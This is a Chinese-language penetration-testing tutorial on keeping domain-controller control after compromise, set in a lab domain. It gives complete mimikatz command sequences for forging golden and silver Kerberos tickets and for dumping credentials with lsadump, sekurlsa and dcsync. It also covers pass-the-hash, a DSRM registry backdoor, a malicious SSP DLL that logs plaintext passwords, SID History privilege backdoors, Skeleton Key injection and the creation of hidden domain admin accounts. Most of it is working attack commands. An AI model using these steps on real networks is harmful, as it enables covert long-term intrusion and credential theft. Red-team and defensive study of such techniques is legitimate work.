在上篇文章中講了維持Windows作業系統的許可權,這篇講講在獲得域控制器的許可權後,將域控制器許可權持久化的方法
黃金/白銀票據
首先來說說耳熟能詳的黃金白銀票據吧
Kerberos認證
在學習黃金白銀票據前,首先先簡單的瞭解一下什麼是Kerberos認證
在KDC中又分為兩個部分:Authentication Service(AS,身份驗證服務)和Ticket Granting Service(TGS,票據授權服務)
Kerberos認證的大概流程:
當 Client 想要訪問 Server 上的某個服務時,需要先向 AS 證明自己的身份,驗證通過後AS會發放的一個TGT,隨後Client再次向TGS證明自己的身份,驗證通過後TGS會發放一個ST,最後Client向 Server 發起認證請求,這個過程分為三塊:
Client 與 AS 的互動,
Client 與 TGS 的互動,
Client 與 Server 的互動。
黃金票據Golden ticket
原理
在Kerberos認證中,Client通過AS(身份認證服務)認證後,AS會給Client一個Logon Session Key和TGT,而Logon Session Key並不會儲存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的互動。而已有了金票後,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
偽造金票的場景和所需條件
黃金票據的利用常用於許可權維持階段。假設這麼一種情況,我們已拿到的域內所有的賬戶Hash,包括krbtgt賬戶,由於有些原因導致你對域管許可權丟失,但好在你還有一個普通域使用者許可權,碰巧管理員在域內加固時忘記重置krbtgt密碼,基於此條件,我們還能利用該票據重新獲得域管理員許可權,利用krbtgt的HASH值可以偽造生成任意的TGT(mimikatz),能夠繞過對任意使用者的賬號策略,讓使用者成為任意組的成員,可用於Kerberos認證的任何服務。
所需條件
1、域名稱
2、域的SID值
3、域的KRBTGT賬號的HASH
4、偽造任意使用者名稱
(獲取域的SID和KRBTGT賬號的NTLM HASH的前提是需要已經拿到了域的許可權)
利用方式
先前利用mimikatz拿到了域管理許可權時獲取的域的SID和KRBTGT賬號的NTLM HASH
privilege::debug lsadump::lsa /patch
現在因為某些原因丟失了域控的許可權,但是還有一個普通的域內使用者
在普通域使用者中使用mimikatz生成黃金票據.kirbi檔案並儲存:
kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e /ticket:ticket.kirbi
/user:需要偽造的域管理員使用者
/domain:域名稱
/sid:SID值,(這裡要是使用系統命令的話抓到是這樣的SID,最後面的值代表著這個賬號的SID值,注意是去掉最後一個-後面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票據名稱
第二步用mimikatz清除票據
kerberos::purge \\清除票據 kerberos::tgt \\檢視票據
第三步用mimikatz匯入票據
kerberos::ptt ticket.kirbi
成功訪問dc
此時嘗試建立一個的域管賬號,命令執行成功:
net user aaa !@#qwe123 /add /domain net group "domain admins" aaa /add/domain
銀票SILVER TICKET
原理
白銀票據就是偽造的ST。
在Kerberos認證的第三部,Client帶著ST和Authenticator3向Server上的某個服務進行請求,Server接收到Client的請求之後,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。
所以我們只需要知道Server使用者的Hash就可以偽造出一個ST,且不會經過KDC,但是偽造的門票只對部分服務起作用。
偽造銀票所需條件
1.域名
2.域sid
3.目標伺服器名
4.可利用的服務
5.服務賬號的NTML HASH
6.需要偽造的使用者名稱
在域控中使用mimikatz獲取相關資訊
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
回到域內低許可權的賬號
先使用mimikatz清空票據,再匯入偽造的票據,具體偽造票據的命令:
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC.hacke.testlab /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服務賬號NTMLHASH /user:使用者名稱 /ptt
其中的使用者名稱可以隨便寫
服務型別可以從以下內容中來進行選擇,因為沒有TGT去不斷申請ticket,所以只能針對某一些服務來進行偽造
測試一下,成功執行dir \\dc\c$
,並且可以建立域管賬號,複製檔案等:
金票和銀票的區別
獲取的許可權不同
金票:偽造的TGT,可以獲取任意Kerberos的訪問許可權
銀票:偽造的ST,只能訪問指定的服務,如CIFS
認證流程不同
金票:同KDC互動,但不同AS互動
銀票:不同KDC互動,直接訪問Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
銀票:由服務賬號 NTLM Hash 加密
DSRM域後門
DSRM介紹
Directory Services Restore Mode,中文名目錄服務恢復模式
DSRM是Windows域環境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬號(也就是DSRM賬號)。在域環境建立初期,DSRM的密碼需要在安裝DC時設定,且很少會被重置。
在滲透測試中,可以使用DSRM賬號對域環境進行持久化操作。每個DC都有DSRM賬號,DSRM賬號可以作為每個域控制器的本地管理員使用者,通過網路連線域控制器,進而控制域控制器。
微軟公佈了修改DSRM密碼的方法。在域控制器上開啟命令列環境,常用命令說明如下。
ntdsutil // 進入ntdsutil set dsrm password // 設定DSRM賬戶的密碼 reset password on server null // 在當前域控制器上恢復DSRM密碼 // 輸入新密碼 // 重新輸入新密碼 q //退出DSRM密碼設定模式 q // 退出ntdsutil
如果域控制器的系統版本為Windows Server 2008及其以上可以將DSRM密碼同步為已存在的域賬號密碼。(Windows Server 2008版本的系統需要安裝 KB961320 補丁 )
ntdsutil //進入ntdsutil set dsrm password //設定DSRM賬戶的密碼 sync from domain account domainusername //使DSRM的密碼和指定的的domainusername域使用者的密碼同步 q //退出DSRM密碼設定模式 q //退出ntdsutil
實驗演示
下面以windows server 2012作為實驗演示,假設已經獲取了域控windows server 2012的許可權,現在進行許可權維持
檢視NTLM Hash
使用mimikatz檢視krbtgt的NTLM Hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
檢視到NTLM為:3904c927824bc89365275bde17a1f115
再分別輸入如下命令,檢視SAM檔案中本地管理員的NTLM Hash
token::elevate
lsadump::sam
檢視到NTLM為:3f57163975979b7a85ff54a641a63b2d
同步NTLM Hash
將DSRM賬號和 krbtgt的 NTLM Hash同步
ntdsutil //進入ntdsutil set dsrm password //設定DSRM賬戶的密碼 sync from domain account domainusername //使DSRM的密碼和指定的的domainusername域使用者的密碼同步 q //退出DSRM密碼設定模式 q //退出ntdsutil
當顯示已成功同步密碼後,就可以了
驗證一下是否成功了,使用mimikatz分別抓取krbtgt的NTLM Hash和administrator的NTLM Hash
修改DSRM賬戶登入方式
在登錄檔中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建DsrmAdminLogonBehavior項(DWORD32位)
- 0:預設值,只有當域控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號
- 1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登入域控制器
- 2:在任何情況下,都可以使用DSRM管理員賬號登入域控制器
將這個值修改為2,這樣在任何情況下,都可以使用DSRM管理員賬號登入域控制器
測試
接下來使用一個域成員機器的本地管理員賬戶測試一下
privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:3904c927824bc89365275bde17a1f115
完成之後會彈出一個命令列視窗,dir測試一下,成功
使用這個終端開啟mimikatz還可以進行dcysnc遠端轉儲krbtgt的NTLM Hash
lsadump::dcsync /domain:hacke.testlab /dc:dc /user:krbtgt
SSP維持域控許可權
SSP介紹
SSP(Security Support Provider)是Windows作業系統安全機制的提供者。簡單的說,SSP就是一個DLL檔案,主要用來實現Windows作業系統的身份認證功能
如果獲得了域控的System許可權,可以使用該方法進行持久化操作。其主要原理是:LSA(Local Security Authority)用於身份驗證;lsass.exe作為Windows的系統程式,用於本地安全和登入策略;在系統啟動時,SSP將被載入到lsass.exe程式中。但是,假如攻擊者對LSA進行了擴充套件,自定義了惡意的DLL檔案,在系統啟動時將其載入到lsass.exe程式中,就能夠獲取lsass.exe程式中的明文密碼。這樣,即使使用者更改密碼並重新登入,攻擊者依然可以獲取該賬號的新密碼。
使用mimikatz將偽造的SSP注入記憶體
privilege::debug
misc::memssp
如上圖所示,我們已經成功將偽造的SSP注入記憶體中了,只要域控使用者重新登入,那麼密碼就會被記錄在 C:\Windows\System32\mimilsa.log 中
優點:這種方法不會在系統中留下二進位制檔案,
缺點:但域控重啟,被注入記憶體的偽造SSP就會丟失。
將 mimikatz中的 mimilib.dll放到系統目錄
修改登錄檔 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 項,將下面的命令新增進去,讓其載入新的DLL檔案"mimilib.dll"
kerberos
msv1_0
schannel
wdigest
tspkg
pku2u
mimilib.dll
系統重啟後,DLL將會被成功載入,使用者在登入時輸入的賬號密碼將會被記錄在 C:\Windows\System32\kiwissp.log中
而開啟剛剛的mimilsa,裡面就沒有更新密碼了
優點:即使系統重啟,也不會影響持久化效果;
缺點:但是會在目標主機上留下二進位制檔案。易被發現
SID History 域後門
說到SID大家應該都不陌生,每個使用者都有自己的SID,相當於身份證,而SID History是在域遷移過程中需要使用的一個屬性,作用是在域遷移的過程中保持使用者的訪問許可權。在滲透測試中,如果獲得了域管理員的許可權,就可以利用mimikatz將SID history作為實現持久化的方法
下面以windows2012進行測試
首先建立一個惡意使用者testuser,使用powershell檢視使用者的SID History
Import-Module activedirectory
Get-ADUser testuser -Properties sidhistory
可以看到目前這個使用者是沒有SIDHistory的
在域控上使用mimikatz來操作, 將域管理員Administrator的SID新增到惡意域使用者testuser的SID History屬性中。
privilege::debug sid::patch #使用 sid::patch 命令修復NTDS服務 sid::add /sam:hack /new:Administrator #將Administrator的SID新增到test的SID History屬性中
接下來測試一下看看能否連線到域控
對於這種維權方式,我剛開始覺得,這和建立一個管理員的使用者沒什麼區別呀,而且還挺麻煩
但是發現這個使用者沒在域管理員組,卻也有域管理員的許可權,這就降低了被發現的可能
net group
"domain admins"
/domain
萬能密碼Skeleton Key
mimikatz的MISC::Skeleton
,在 DC 中注入萬能鑰匙(Skeleton Key) 到 LSASS 程式中。這使得所有使用者所使用的萬能鑰匙修補DC使用"主密碼” (又名萬能鑰匙)以及他們自己通常使用的密碼進行身份驗證。
下面以windows 2012測試
域控制器中使用mimikatz注入Skeleton Key
privilege::debug
misc::skeleton
系統提示 Skeleton Key已經注入成功。此時,會在域內的所有賬號中新增一個 Skeleton Key其密碼預設為“ mimikatz"。接下來,就可以以域內任意使用者的身份,配合該 Skeleton Key,進行域內身份授權驗證了
使用低許可權使用者測試
net use \\dc\ipc$ "mimikatz" /user:administrator